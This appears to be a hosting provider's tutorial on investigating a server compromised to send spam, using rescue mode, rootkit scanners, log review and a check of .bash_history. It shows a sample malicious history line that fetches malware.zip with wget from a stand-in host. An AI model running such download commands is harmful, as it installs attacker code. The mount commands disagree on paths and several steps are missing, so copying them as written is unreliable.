SPAM refers to unsolicited messages that are sent automatically, using electronic messaging systems, to large numbers of recipients for the purpose of commercial advertising or with the intention of fraudulent attempts to obtain sensitive information or data, such as usernames, passwords, and credit card details.
While the most widely recognized form of SPAM is email SPAM, other SPAM types exist, such as Usenet newsgroup SPAM, SPAM in communities, SPAM in blog comments, and much more. Users concerned by SPAM can contact the abuse helpdesk of the service provider (unknowingly), hosting the machines being abused to distribute these messages. The service provider will inform his customer about the situation. In case you have received an abuse complaint about SPAM, immediate action from your side is required to stop the transmission of these unsolicited messages and secure your system.
When you receive an abuse alert for SPAM on one of your machines, an intruder likely gained access to it by either guessing your passwords or by using a security hole that may be present in one of your applications.
Your immediate action is required in this case to stop the SPAMs outgoing from the machine. It is recommended to boot the machine in rescue mode, to interrupt the outgoing connections as a first step, before proceeding with more in-depth investigations on what is going on:
The rescue mode is a small Linux distribution, based on Ubuntu Linux, that runs directly in your servers RAM. It allows you to check your machine in a secure environment without being in a potentially infected environment.
Once the server has booted into rescue mode, connect to it using SSH (depending on your product, the username and password required for the connection are displayed in the console.)
Mount the volumes of the server to have access to your files:
1 . Retrieve a list of all available volumes on your instance by running the command
Note: The devices of your instance are named, depending on the instance type you use.
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 18.6G 0 disk ├─vda1 253:1 0 18.5G 0 part └─vda15 253:15 0 100M 0 part
2 . Mount the device
vda1 manually as
/mnt/data by runnig the following commands:
mkdir -p /mnt/volume0 mount /dev/vda1 /mnt/vdata
3 . Verify if the volume has been mounted correctly, by running the
lsblk command again:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 18.6G 0 disk ├─vda1 253:1 0 18.5G 0 part /mnt/data └─vda15 253:15 0 100M 0 part
The server is now running in rescue mode, the volume that requires debug/rescue action is mounted in the
1 . Once connected to the server run the script
mountall.sh to automatically mount all available partitions of the disk. A message like the following confirms if the partions are mounted:
/dev/md0 ne peut être monté. /dev/md125 vient d'être monté dans /mnt/md125 /dev/md126 vient d'être monté dans /mnt/md126 /dev/md127 vient d'être monté dans /mnt/md127
2 . Check if the partitions have been mounted correctly, by running the
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT loop0 7:0 0 523.6M 1 loop /lib/live/mount/rootfs/img.current.squashfs sda 8:0 0 238.5G 0 disk ├─sda1 8:1 0 299M 0 part │ └─md127 9:127 0 298M 0 raid1 /mnt/md127 ├─sda2 8:2 0 30G 0 part │ └─md126 9:126 0 30G 0 raid1 /mnt/md126 ├─sda3 8:3 0 207.7G 0 part │ └─md125 9:125 0 207.6G 0 raid1 /mnt/md125 └─sda4 8:4 0 512M 0 part [SWAP] sdb 8:16 0 238.5G 0 disk ├─sdb1 8:17 0 299M 0 part │ └─md127 9:127 0 298M 0 raid1 /mnt/md127 ├─sdb2 8:18 0 30G 0 part │ └─md126 9:126 0 30G 0 raid1 /mnt/md126 ├─sdb3 8:19 0 207.7G 0 part │ └─md125 9:125 0 207.6G 0 raid1 /mnt/md125 └─sdb4 8:20 0 512M 0 part [SWAP]
The server is now running in rescue mode, your data is accessible and you can launch your investigations.
Often intruders use security holes in software applications running on your instances or servers to gain access to the machine, such as weak PHP scripts or other apps installed on your machine. A trustful source to find information if there are known issues on the software you are using is the CVE (Common Vulnerabilities and Exposures) database. It provides a listing of vulnerabilities of the most popular software. You may also check the software publishers websites for any known issues on the tools.
The attacker may have installed a collection of, typically malicious, software called rootkit on your system. A rootkit is a software designed to enable access to a computer that is not otherwise allowed to and allows the attacker to take control over your machine and to execute commands on it. Rootkit detection is a difficult task, as it often masks its existence or other malicious software. We use
rkhunter to check if no rootkits are present on the system.
Scanning for Rootkits using chkrootkit:
chkrootkit is an application to scan your system for the presence of signs of rootkit infection.
1 . Install
chkrootkit using the APT package manager:
apt install chkrootkit
2 . Run
chkrootkit on your mounted volume.
chkrootkit -r /mnt/data
The application checks your system for the presence of different rootkits. The following messages are printed out during these tests:
INFECTED: The application identified a command probably infected by a known rootkit
not infected: The test did not find any known rootkit signature
not found: The command to be tested is not found
Vulnerable but disabled: The command is infected but not in use (not running or commented in inetd.conf)
not tested: The test was not performed
The last output might happen if one or several of the following conditions are matched:
For more information on
chkrootkit, refer to the official documentation.
Scanning for Rootkits using rkhunter:
Another method to check if a system is infected with a rootkit is the application
1 . Install
rkunter using the APT package manager:
apt install rkhunter
2 . Run
rkuhnter on your monted volume:
rkhunter -c -r /mnt/data
The application runs various checks on the filesystem to identify files that have deviated from the expected defaults. Following the test, a summarized test report displays. A full log of the tests performed is available in the file
/var/log/rkhunter.log. For more information on using rkhunter, refer to the official rkhunter website.
To get information on the amount of SPAM sent by the intruder and to see any suspicious logs, it is useful to check the servers’ log-files for unusual entries.
The log-files are located in the
/var/log directory. Differnt applications create their own log files. You can use the
ls -la command to retrieve a list of all files and folders available in the directory.
Visualize the content by opening the file in a text editor. Remember that you are on a temporary OS, and to access the file, you should specify the full file path:
Suspicious files might be present, for example, in the
/var/spool/cron directories. Check these directories using the
ls -la command to retrieve a list of all files and folders present in these directories and look-out for unusual file names or files you do not know.
You can also use the
find command to detect files that have been modified recently. To get information about files in the
/etc directory that have been modified in the past 48 hours by the user
root, use the following command:
find /mnt/data/etc -user root -mtime -2
To get more information on what the intruder did on your system, you can check which commands were executed using the
.bash_history file. This file, existing for each user on the system, contains a log of all commands executed on the machine. It is located in the home directory of each user. The most important one is, obviously, the one belonging to the
root user of the system. Use
tail to display the latest 50 lines of the file. If required you can increase this number:
tail -n 50 /mnt/data/root/.bash_history
Check the file for unusual entries such as the following examples:
tar xfz rootkit.tar.gz wget http://suspicious.server.com/malware.zip
It is also possible to check if the intruder installed software using the APT package manager on Debian-/Ubuntu based-systems. Check the content of this file for any suspicious activities like the installation or uninstallation of software unknown to you. Use the
tail command to display the last 50 lines in the file, if required increase this limit:
tail -n 50 /mnt/data/var/log/dpkg.log
In this tutorial, you have learned how to check your server for suspicious files and potential rootkits. It is important that you clean your machine carefully before rebooting it into “normal” mode, as your server will continue to send SPAM if the machine was not thoroughly cleaned. It is recommended for security reasons to reinstall an infected server with a clean and fresh operating system and restore your application from your backups. Remember always to use strong passwords, protect your server against any intrusion, do not keep unnecessary services running on it, and configure an additional layer of security by installing and configuring a firewall and tools like fail2ban on it.